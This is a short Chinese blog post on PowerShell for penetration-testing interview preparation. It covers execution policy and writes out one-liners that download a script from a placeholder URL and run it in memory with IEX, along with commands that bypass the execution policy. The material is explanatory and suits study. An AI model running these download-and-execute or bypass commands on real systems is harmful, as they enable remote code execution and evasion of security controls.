渗透面试常问——Powershell简单了解

一、什么是Powershell?

Powershell是微软开发的命令行shell和脚本语言,它基于.Net框架,专门为--系统管理--和配置任务设计。Powershell引入了传统的命令行功能并添加了cmdlet增强--系统管理--能力。

二、如何打开Powershell?

1.在cmd命令行里输入Powershell

2.win+s搜索栏里查找Powershell

三、Powershell与CMD的区别?

四、Powershell的使用?

Powershell本地执行脚本:powershell -f test.ps1 或 powershell -ep bypass -f test.ps1

Powershell加载远程执行脚本(重点):

powershell -c "Invoke-Expression(New-Object System.Net.WebClient).DownloadString('http://example.com/abc')"

powershell -c "(New-Object System.Net.WebClient).DownloadString('http://example.com/abc') | Invoke-Expression"

注:

-c:(Command)在powershell中执行命令

Invoke-Expression :IEX用来把字符串当作命令行执行

WebClinet类(System.Net):提供用于将数据发送到URL标识对的资源以及从这样的资源接收数据的常用方法。

WebClinet.DownloadString方法:以String形式下载请求的资源。可以包含URL的string或URL的形式指定要下载的资源。

**上面这串命令行可以理解为以string的形式远程下载脚本文件,创建一个新的对象加载到本地内存执行。

五、什么是Powershell脚本执行策略?

Powershell的安全特性用于确定在系统上执行哪些策略

默认情况下不允许我们执行或运行脚本,所以前面的 powershell -ep bypass -f test.ps1要加一个-ep bypass 。ep想到于ExecutionPolicy。

查看当前执行策略:Get-ExecutionPolicy

将执行策略设置为Bypass: Set-ExecutionPolicy Bypass

默认情况下执行策略是Restricted

六、如何绕过执行策略

powershell get-content a.ps1 | powershell -noprofile - #本地读取然后通过管道符运行

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')" #远程下载并通过IEX执行脚本

powershell -ep bypass -File ./a.ps1  #bypass绕过

关于Powershell的命令使用方法这里就不说了,太多了自行百度。上面的内容面试中给容易问到

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值